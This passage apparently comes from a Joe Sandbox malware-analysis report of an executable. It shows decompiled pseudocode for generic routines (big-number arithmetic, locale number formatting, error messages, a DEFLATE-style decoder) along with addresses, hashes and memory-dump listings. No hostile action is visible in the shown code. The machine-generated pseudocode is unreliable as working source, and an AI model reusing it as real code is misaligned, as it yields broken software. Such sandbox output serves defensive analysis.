												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E00873E60(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x8833dd
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E00886B50( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E00880761(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E00880761(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E00880761(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x00881dcc
0x00881dcf
0x00881dd3
0x00881ddd
0x00881de0
0x00881de2
0x00881de4
0x00881df1
0x00881df1
0x00881df4
0x00881df4
0x00881df7
0x00881dfa
0x00881dfc
0x00881f2f
0x00881f31
0x00881f7a
0x00881f7e
0x00881f84
0x00881f33
0x00881f35
0x00881f38
0x00881f3a
0x00881f3d
0x00881f3f
0x00881f41
0x00881f75
0x00881f75
0x00881f75
0x00881f43
0x00881f48
0x00881f4e
0x00881f4e
0x00881f51
0x00881f53
0x00881f55
0x00000000
0x00000000
0x00881f57
0x00881f58
0x00881f5b
0x00881f5e
0x00881f60
0x00000000
0x00881f62
0x00000000
0x00881f62
0x00000000
0x00881f60
0x00881f64
0x00881f6b
0x00881f6f
0x00881f73
0x00000000
0x00000000
0x00881f73
0x00881f76
0x00881f76
0x00881f78
0x00881f85
0x00881f88
0x00881f8b
0x00881f8e
0x00881f8e
0x00881f92
0x00881f95
0x00881f98
0x00881f9b
0x00881fa6
0x00881f9d
0x00881fa2
0x00881fa2
0x00881fb0
0x00881fb5
0x00881fb8
0x00881fba
0x00881fc4
0x00881fc7
0x00881fce
0x00881fd1
0x00881fd4
0x00881fdc
0x00881fe2
0x00881fe2
0x00881fe2
0x00881fe2
0x00881fd4
0x00881fe7
0x00881fee
0x00881fee
0x00881ff1
0x00881ff4
0x00882226
0x00882226
0x00881ffa
0x00881ffa
0x00882000
0x00882003
0x00882006
0x00882009
0x0088200c
0x0088200f
0x00882012
0x00882012
0x00882015
0x0088201c
0x0088201c
0x00882017
0x00882017
0x00882017
0x0088201e
0x00882022
0x00882025
0x00882027
0x0088202a
0x00882031
0x00882034
0x00882037
0x00882042
0x00882045
0x0088204a
0x0088204f
0x00882056
0x0088205b
0x0088205d
0x0088205f
0x00882063
0x00882066
0x00882069
0x00882071
0x0088207a
0x0088207a
0x0088207c
0x0088207f
0x0088207f
0x00882069
0x00882089
0x0088208e
0x00882093
0x00882095
0x00882098
0x0088209a
0x0088209d
0x008820a0
0x008820a2
0x008820a5
0x008820a8
0x008820aa
0x008820b1
0x008820b6
0x008820b9
0x008820c3
0x008820c5
0x008820c7
0x008820ca
0x008820ca
0x008820cc
0x008820cf
0x008820d2
0x008820d5
0x008820d8
0x008820ac
0x008820ac
0x008820af
0x00000000
0x00000000
0x008820af
0x008820db
0x008820dd
0x008820df
0x00000000
0x008820e1
0x008820e1
0x008820e4
0x008820e6
0x008820e6
0x008820f4
0x008820f7
0x008820fc
0x008820fe
0x00000000
0x00000000
0x00882100
0x00882107
0x00882107
0x0088210a
0x0088210d
0x00882110
0x00882113
0x00882113
0x00882116
0x00882119
0x0088211d
0x00882120
0x00882122
0x00882125
0x00000000
0x00000000
0x00882127
0x00882125
0x00882102
0x00882102
0x00882105
0x00000000
0x00000000
0x00000000
0x00000000
0x00882105
0x0088212c
0x0088212c
0x00000000
0x0088212c
0x00882129
0x00000000
0x00882129
0x008820e4
0x008820df
0x0088212f
0x0088212f
0x00882131
0x0088213b
0x0088213b
0x0088213e
0x00882140
0x00882142
0x00882144
0x00882149
0x0088214c
0x0088214c
0x0088214f
0x00882152
0x00882155
0x00882157
0x0088216c
0x0088216e
0x00882170
0x00882172
0x00882174
0x00882176
0x00882178
0x0088217a
0x0088217d
0x0088217d
0x00882181
0x00882183
0x00882189
0x0088218c
0x0088218c
0x0088218c
0x00882190
0x00882190
0x00882195
0x00882198
0x00882198
0x0088219d
0x0088219f
0x008821a1
0x008821a8
0x008821a8
0x008821aa
0x008821af
0x008821b1
0x008821b4
0x008821b4
0x008821b7
0x008821c0
0x008821c0
0x008821c2
0x008821c2
0x008821c7
0x008821cd
0x008821d1
0x008821d4
0x008821d7
0x008821d9
0x008821d9
0x008821d9
0x008821de
0x008821de
0x008821e1
0x008821e4
0x008821a3
0x008821a3
0x008821a6
0x00000000
0x00000000
0x008821a6
0x008821a1
0x008821eb
0x008821eb
0x008821ec
0x00882133
0x00882133
0x00882135
0x00000000
0x00000000
0x00882135
0x008821fc
0x00882201
0x00882204
0x00882208
0x00882209
0x0088220c
0x0088220f
0x00882210
0x00882213
0x00882216
0x00882219
0x0088221c
0x0088221c
0x00882224
0x0088222b
0x0088222c
0x0088222e
0x00882230
0x00882232
0x00882235
0x00882240
0x00882240
0x00882246
0x00882246
0x00882249
0x0088224a
0x0088224a
0x00882240
0x0088224e
0x00882250
0x00882252
0x00882254
0x00882254
0x00882256
0x0088225a
0x00000000
0x00000000
0x0088225c
0x0088225c
0x0088225f
0x00882261
0x00000000
0x00000000
0x00000000
0x00882261
0x00882254
0x00882263
0x0088226d
0x00000000
0x00000000
0x00000000
0x00881f78
0x00881e02
0x00881e02
0x00881e02
0x00881e05
0x00881e08
0x00881e0b
0x00881e3c
0x00881e3e
0x00881e89
0x00881e8b
0x00881e92
0x00881e99
0x00881e9c
0x00881e9f
0x00881ea5
0x00881ea5
0x00881ea6
0x00881ea9
0x00881eb0
0x00881eb9
0x00881ebe
0x00881ec1
0x00881ec6
0x00881ec9
0x00881ecb
0x00881ed0
0x00881ed3
0x00881ed6
0x00881ed6
0x00881ed6
0x00881eda
0x00881edd
0x00881edd
0x00881ee2
0x00881ee2
0x00881eed
0x00881ef8
0x00881ef8
0x00881efb
0x00881f07
0x00881f0c
0x00881f17
0x00881f19
0x00881f1b
0x00881f21
0x00881f26
0x00881f28
0x00881f2e
0x00881e40
0x00881e4c
0x00881e4c
0x00881e4f
0x00881e5f
0x00881e65
0x00881e6c
0x00881e6e
0x00881e76
0x00881e78
0x00881e7a
0x00881e7f
0x00881e82
0x00881e88
0x00881e88
0x00881e0d
0x00881e10
0x00881e14
0x00881e1a
0x00881e29
0x00881e33
0x00881e3b
0x00881e3b
0x00881e0b
0x00881de6
0x00881de9
0x00881def
0x00881def
0x00881dd5
0x00881ddb
0x00881ddb

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 481d9cb678805805e65fbeed5a0c0b3981864b0af9f27fc138f8c369e1cc21b0
Instruction ID: f9357e2df83d643b58aa0089cded0e7c10ba824a13ccac575a7315d5294a4131
Opcode Fuzzy Hash: 481d9cb678805805e65fbeed5a0c0b3981864b0af9f27fc138f8c369e1cc21b0
Instruction Fuzzy Hash: A6022B75E002199FDF14DFA9C8846ADF7F5FF88314F25826AE919E7244DB31AA41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0087006D Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0087006D(signed int _a4, signed int _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0x89361c == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x8c62f8 = _v304;
					 *0x8c62fa = 0;
					 *0x89361c = 0x8c62f8;
				}
				E00866788(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x89360c, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x00870085
0x00870093
0x008700a0
0x008700a8
0x008700ae
0x008700ae
0x008700c4
0x008700c9
0x008700ce
0x008700d8
0x008700e2
0x008700ea
0x008700f3

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00870093
GetNumberFormatW.KERNEL32 ref: 008700E2

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 0d1bdc4afd7dd50330ca42937cf233136dbe1c3be574a8f3984f42dfa71f889b
Instruction ID: fde6973588160503c2b3aff2caed39ba334921084d00e68ac56e4a4d244a16bb
Opcode Fuzzy Hash: 0d1bdc4afd7dd50330ca42937cf233136dbe1c3be574a8f3984f42dfa71f889b
Instruction Fuzzy Hash: A4017C79200219BAD7119FA4DC45F9A77BCFF19714F008026BA15E72A0E7709A25CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 008617D7 Relevance: 3.0, APIs: 2, Instructions: 16
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008617D7(WCHAR* _a4, long _a8) {
				long _t5;

				_t5 = GetLastError();
				if(_t5 == 0) {
					return 0;
				}
				return FormatMessageW(0x1200, 0, _t5, 0x400, _a4, _a8, 0) & 0xffffff00 | _t7 != 0x00000000;
			}

0x008617d7
0x008617df
0x00000000
0x00861805
0x00000000

APIs

GetLastError.KERNEL32(00861950,00000000,00000400), ref: 008617D7
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 008617F8

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 24c2e9e2934721a1330102f7d424384ae72fbed5d99948789a10f6af71d8b9c9
Instruction ID: a87b171c436d12703a7dd3bed762def01c6727317270093c628b7fc56cdaefd1
Opcode Fuzzy Hash: 24c2e9e2934721a1330102f7d424384ae72fbed5d99948789a10f6af71d8b9c9
Instruction Fuzzy Hash: C2D0C931344304FBFA110A608C4EF2A7799FB45F57F69C424B755E90E1DA709428B729

Uniqueness

Uniqueness Score: -1.00%

Function 0086B4B3 Relevance: 1.9, Strings: 1, Instructions: 615
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E0086B4B3() {
				void* __edi;
				intOrPtr _t153;
				signed int _t154;
				signed int _t157;
				signed int _t163;
				signed int _t171;
				int _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				signed int _t175;
				signed int _t177;
				int _t181;
				intOrPtr _t186;
				signed int _t187;
				signed char _t191;
				signed int _t196;
				signed char _t197;
				signed char _t201;
				intOrPtr _t208;
				intOrPtr _t209;
				signed int _t210;
				int _t211;
				signed int _t217;
				intOrPtr _t222;
				signed int _t223;
				intOrPtr _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int _t232;
				unsigned int _t233;
				signed char _t234;
				signed char _t235;
				signed int _t243;
				signed int _t247;
				intOrPtr _t250;
				signed char _t251;
				signed char _t253;
				intOrPtr _t254;
				signed int _t258;
				signed int _t259;
				int _t262;
				intOrPtr _t263;
				signed int _t264;
				signed char _t265;
				signed char _t268;
				intOrPtr _t273;
				signed int _t275;
				signed int _t276;
				signed int _t281;
				signed int _t282;
				intOrPtr _t285;
				signed int _t286;
				signed char _t287;
				signed int _t288;
				signed char _t289;
				signed int _t293;
				signed int _t295;
				signed char _t296;
				signed int _t297;
				signed char _t298;
				signed char* _t301;
				signed char* _t306;
				signed char _t307;
				signed int _t309;
				signed int _t312;
				signed int _t315;
				signed int _t320;
				intOrPtr _t322;
				signed int _t323;
				signed char _t324;
				signed char _t325;
				signed char _t326;
				signed char _t328;
				signed char _t329;
				signed char _t330;
				signed char _t331;
				signed char _t332;
				signed char _t333;
				signed char _t334;
				signed char _t335;
				signed char _t336;
				signed char _t337;
				signed char _t338;
				signed int _t339;
				void* _t340;
				void* _t341;
				void* _t345;
				void* _t353;

				_t307 = 0;
				 *((intOrPtr*)(_t340 + 0x38)) = 0;
				 *((intOrPtr*)(_t340 + 0x40)) = 0;
				E00874BD0(0, _t340 + 0x3c, 0, 0x500);
				_t230 =  *0x8ae7f4; // 0x0
				_t341 = _t340 + 0xc;
				_t335 =  *0x8ae7f8; // 0x7
				_t322 =  *0x8ad580; // 0x14df
				_t301 =  *0x8ad578; // 0x2e0c461
				_t153 =  *0x8ad584; // 0x0
				while(_t335 < 5) {
					_t322 = _t322 + 0xffffffff;
					 *0x8ad580 = _t322;
					asm("adc eax, 0xffffffff");
					 *0x8ad584 = _t153;
					__eflags = _t153 - _t307;
					if(__eflags < 0) {
						L5:
						_t154 = E0086A34D(_t153, _t301);
						_t322 =  *0x8ad580; // 0x14df
						_t243 = _t154;
						_t301 =  *0x8ad578; // 0x2e0c461
						_t153 =  *0x8ad584; // 0x0
					} else {
						if(__eflags > 0) {
							L4:
							_t243 =  *_t301 & 0x000000ff;
							_t301 =  &(_t301[1]);
							 *0x8ad578 = _t301;
						} else {
							__eflags = _t322 - _t307;
							if(_t322 < _t307) {
								goto L5;
							} else {
								goto L4;
							}
						}
					}
					 *(_t341 + 0x14) = _t243;
					__eflags = _t243 - 0xffffffff;
					if(_t243 == 0xffffffff) {
						__eflags = _t335;
						if(_t335 < 0) {
							L150:
							__eflags = 1;
							return 1;
						}
					} else {
						 *(_t341 + 0x14) =  *(_t341 + 0x14) << _t335;
						_t230 = _t230 |  *(_t341 + 0x14);
						_t335 = _t335 + 8;
						__eflags = _t335;
						continue;
					}
					L11:
					_t231 = _t230 >> 5;
					_t336 = _t335 - 5;
					 *(_t341 + 0x20) = (_t230 & 0x0000001f) + 0x101;
					while(_t336 < 5) {
						_t322 = _t322 + 0xffffffff;
						 *0x8ad580 = _t322;
						asm("adc eax, 0xffffffff");
						 *0x8ad584 = _t153;
						__eflags = _t153 - _t307;
						if(__eflags < 0) {
							L16:
							_t157 = E0086A34D(_t153, _t301);
							_t322 =  *0x8ad580; // 0x14df
							_t247 = _t157;
							_t301 =  *0x8ad578; // 0x2e0c461
							_t153 =  *0x8ad584; // 0x0
						} else {
							if(__eflags > 0) {
								L15:
								_t247 =  *_t301 & 0x000000ff;
								_t301 =  &(_t301[1]);
								 *0x8ad578 = _t301;
							} else {
								__eflags = _t322 - _t307;
								if(_t322 < _t307) {
									goto L16;
								} else {
									goto L15;
								}
							}
						}
						 *(_t341 + 0x14) = _t247;
						__eflags = _t247 - 0xffffffff;
						if(_t247 == 0xffffffff) {
							__eflags = _t336;
							if(_t336 < 0) {
								goto L150;
							}
						} else {
							 *(_t341 + 0x14) =  *(_t341 + 0x14) << _t336;
							_t231 = _t231 |  *(_t341 + 0x14);
							_t336 = _t336 + 8;
							__eflags = _t336;
							continue;
						}
						L22:
						_t337 = _t336 - 5;
						_t232 = _t231 >> 5;
						_t250 = (_t231 & 0x0000001f) + 1;
						 *((intOrPtr*)(_t341 + 0x30)) = _t250;
						if(_t337 < 4) {
							while(1) {
								_t322 = _t322 + 0xffffffff;
								 *0x8ad580 = _t322;
								asm("adc eax, 0xffffffff");
								 *0x8ad584 = _t153;
								_t345 = _t153 - _t307;
								if(_t345 < 0 || _t345 <= 0 && _t322 < _t307) {
									_t229 = E0086A34D(_t153, _t301);
									_t322 =  *0x8ad580; // 0x14df
									_t297 = _t229;
									_t301 =  *0x8ad578; // 0x2e0c461
									_t153 =  *0x8ad584; // 0x0
								} else {
									_t297 =  *_t301 & 0x000000ff;
									_t301 =  &(_t301[1]);
									 *0x8ad578 = _t301;
								}
								 *(_t341 + 0x14) = _t297;
								if(_t297 == 0xffffffff) {
									break;
								}
								_t298 = _t337;
								_t337 = _t337 + 8;
								 *(_t341 + 0x14) =  *(_t341 + 0x14) << _t298;
								_t232 = _t232 |  *(_t341 + 0x14);
								if(_t337 < 4) {
									continue;
								} else {
								}
								L32:
								_t250 =  *((intOrPtr*)(_t341 + 0x30));
								goto L33;
							}
							__eflags = _t337;
							if(_t337 < 0) {
								goto L150;
							}
							goto L32;
						}
						L33:
						_t338 = _t337 - 4;
						_t233 = _t232 >> 4;
						 *(_t341 + 0x10) = _t233;
						 *(_t341 + 0x18) = (_t232 & 0x0000000f) + 4;
						 *(_t341 + 0x14) = 1;
						if( *(_t341 + 0x20) <= 0x120 && _t250 <= 0x20) {
							_t251 = _t307;
							 *(_t341 + 0x28) = _t307;
							if( *(_t341 + 0x18) <= _t251) {
								L49:
								_t163 =  *(0x889090 + _t251 * 4);
								_t251 = _t251 + 1;
								__eflags = _t251;
								 *(_t341 + 0x3c + _t163 * 4) = _t307;
								L50:
								if(_t251 < 0x13) {
									goto L49;
								}
								 *(_t341 + 0x24) = 7;
								_t234 = E0086A825(_t341 + 0x54, 0x13, 0x13, _t307, _t307, _t341 + 0x30, _t341 + 0x24);
								if( *(_t341 + 0x24) != _t307) {
									__eflags = _t234;
									if(_t234 == 0) {
										_t235 =  *(_t341 + 0x2c);
										_t323 =  *(_t341 + 0x10);
										__eflags = 1;
										 *(_t341 + 0x28) =  *(_t341 + 0x20) +  *((intOrPtr*)(_t341 + 0x30));
										 *(_t341 + 0x38) = (1 <<  *(_t341 + 0x24)) - 1;
										_t306 =  *0x8ad578; // 0x2e0c461
										 *(_t341 + 0x18) = _t307;
										 *(_t341 + 0x1c) = _t307;
										do {
											__eflags = _t338 -  *(_t341 + 0x24);
											if(_t338 >=  *(_t341 + 0x24)) {
												L70:
												_t171 =  *(_t341 + 0x38) & _t323;
												_t253 =  *(_t235 + 1 + _t171 * 8) & 0x000000ff;
												_t172 =  *(_t235 + 4 + _t171 * 8) & 0x0000ffff;
												_t338 = _t338 - _t253;
												_t323 = _t323 >> _t253;
												 *(_t341 + 0x10) = _t323;
												__eflags = _t172 - 0x10;
												if(__eflags >= 0) {
													if(__eflags != 0) {
														__eflags = _t172 - 0x11;
														if(_t172 != 0x11) {
															while(1) {
																__eflags = _t338 - 7;
																if(_t338 >= 7) {
																	break;
																}
																_t173 =  *0x8ad580; // 0x14df
																_t254 =  *0x8ad584; // 0x0
																_t174 = _t173 + 0xffffffff;
																 *0x8ad580 = _t174;
																asm("adc ecx, 0xffffffff");
																 *0x8ad584 = _t254;
																__eflags = _t254 - _t307;
																if(__eflags < 0) {
																	L104:
																	_t175 = E0086A34D(_t174, _t306);
																	_t306 =  *0x8ad578; // 0x2e0c461
																	L105:
																	__eflags = _t175 - 0xffffffff;
																	if(_t175 == 0xffffffff) {
																		__eflags = _t338;
																		if(_t338 < 0) {
																			L119:
																			_t177 = 1;
																			L142:
																			 *(_t341 + 0x14) = _t177;
																			L143:
																			__eflags = _t235;
																			if(_t235 == 0) {
																				L145:
																				__eflags = _t307;
																				if(_t307 == 0) {
																					L147:
																					return  *(_t341 + 0x14);
																				} else {
																					goto L146;
																				}
																				do {
																					L146:
																					_t324 =  *(_t307 - 4);
																					L008787AE(_t307 - 8);
																					_t307 = _t324;
																					__eflags = _t324;
																				} while (_t324 != 0);
																				goto L147;
																			} else {
																				goto L144;
																			}
																			do {
																				L144:
																				_t325 =  *(_t235 - 4);
																				L008787AE(_t235 - 8);
																				_t235 = _t325;
																				__eflags = _t325;
																			} while (_t325 != 0);
																			goto L145;
																		}
																		L110:
																		_t309 =  *(_t341 + 0x1c);
																		_t258 = _t323 & 0x0000007f;
																		_t323 = _t323 >> 7;
																		_t259 = _t258 + 0xb;
																		 *(_t341 + 0x10) = _t323;
																		_t338 = _t338 - 7;
																		_t181 = _t309 + _t259;
																		 *(_t341 + 0x18) = _t181;
																		__eflags = _t181 -  *(_t341 + 0x28);
																		if(_t181 >  *(_t341 + 0x28)) {
																			__eflags = _t235;
																			if(_t235 == 0) {
																				goto L150;
																			} else {
																				goto L149;
																			}
																			do {
																				L149:
																				_t326 =  *(_t235 - 4);
																				L008787AE(_t235 - 8);
																				_t235 = _t326;
																				__eflags = _t326;
																			} while (_t326 != 0);
																			goto L150;
																		}
																		__eflags = 0;
																		memset(_t341 + 0x3c + _t309 * 4, 0, _t259 << 2);
																		_t341 = _t341 + 0xc;
																		_t262 =  *(_t341 + 0x18);
																		L112:
																		_t307 = 0;
																		__eflags = 0;
																		 *(_t341 + 0x18) = 0;
																		goto L113;
																	}
																	_t323 = _t323 | _t175 << _t338;
																	_t338 = _t338 + 8;
																	__eflags = _t338;
																	continue;
																}
																if(__eflags > 0) {
																	L103:
																	_t175 =  *_t306 & 0x000000ff;
																	_t306 =  &(_t306[1]);
																	 *0x8ad578 = _t306;
																	goto L105;
																}
																__eflags = _t174 - _t307;
																if(_t174 < _t307) {
																	goto L104;
																}
																goto L103;
															}
															goto L110;
														}
														while(1) {
															__eflags = _t338 - 3;
															if(_t338 >= 3) {
																break;
															}
															_t208 =  *0x8ad580; // 0x14df
															_t273 =  *0x8ad584; // 0x0
															_t209 = _t208 + 0xffffffff;
															 *0x8ad580 = _t209;
															asm("adc ecx, 0xffffffff");
															 *0x8ad584 = _t273;
															__eflags = _t273 - _t307;
															if(__eflags < 0) {
																L92:
																_t210 = E0086A34D(_t209, _t306);
																_t306 =  *0x8ad578; // 0x2e0c461
																L93:
																__eflags = _t210 - 0xffffffff;
																if(_t210 == 0xffffffff) {
																	__eflags = _t338;
																	if(_t338 < 0) {
